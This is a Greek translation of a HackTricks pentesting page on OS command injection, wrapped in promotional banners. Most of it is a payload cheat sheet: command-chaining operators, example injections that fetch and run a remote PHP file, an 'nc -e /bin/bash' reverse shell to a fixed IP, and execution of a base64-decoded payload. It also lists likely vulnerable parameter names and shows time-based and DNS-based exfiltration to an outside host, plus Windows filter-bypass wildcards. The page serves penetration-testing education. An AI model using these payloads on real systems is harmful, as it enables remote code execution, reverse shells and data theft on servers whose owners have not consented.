hacktricks/pentesting-web/command-injection.md

9.4 KiB
Raw Blame History

Εντολή Εισβολής

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Χρησιμοποιήστε το Trickest για να δημιουργήσετε εύκολα και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της κοινότητας.
Αποκτήστε πρόσβαση σήμερα:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Τι είναι η εισβολή εντολής;

Η εισβολή εντολής επιτρέπει την εκτέλεση αυθαίρετων εντολών λειτουργικού συστήματος από έναν επιτιθέμενο στον διακομιστή που φιλοξενεί μια εφαρμογή. Ως αποτέλεσμα, η εφαρμογή και όλα τα δεδομένα της μπορεί να διαρρεύσουν πλήρως. Η εκτέλεση αυτών των εντολών συνήθως επιτρέπει στον επιτιθέμενο να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή έλεγχο στο περιβάλλον της εφαρμογής και του υποκείμενου συστήματος.

Πλαίσιο

Ανάλογα με το πού γίνεται η εισαγωγή της εισόδου σας, ενδέχεται να χρειαστεί να τερματίσετε το περιβάλλον που παραθέτετε (χρησιμοποιώντας " ή ') πριν από τις εντολές.

Εκτέλεση Εισβολής/Εντολής

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Παράκαμψη Περιορισμών

Εάν προσπαθείτε να εκτελέσετε αυθαίρετες εντολές μέσα σε ένα μηχάνημα Linux θα σας ενδιαφέρει να διαβάσετε για αυτές τις Παρακάμψεις:

{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %} bypass-bash-restrictions.md {% endcontent-ref %}

Παραδείγματα

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Παράμετροι

Ακολουθούν οι κορυφαίοι 25 παράμετροι που θα μπορούσαν να είναι ευάλωτες σε ενσωμάτωση κώδικα και παρόμοιες ευπάθειες RCE (από σύνδεσμο):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Εξαγωγή δεδομένων βάσει χρονικών δεδομένων

Εξαγωγή δεδομένων: χαρακτήρα προς χαρακτήρα

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS βασισμένη εξαγωγή δεδομένων

Βασισμένο στο εργαλείο από https://github.com/HoLyVieR/dnsbin το οποίο φιλοξενείται επίσης στο dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Διαδικτυακά εργαλεία για έλεγχο βάσεων δεδομένων βασισμένων σε DNS:

  • dnsbin.zhack.ca
  • pingb.in

Παράκαμψη φίλτρων

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %} bypass-bash-restrictions.md {% endcontent-ref %}

Λίστα Ανίχνευσης Βίας

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}

Αναφορές

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:


Χρησιμοποιήστε το Trickest για να δημιουργήσετε εύκολα και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της κοινότητας.
Αποκτήστε πρόσβαση σήμερα:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}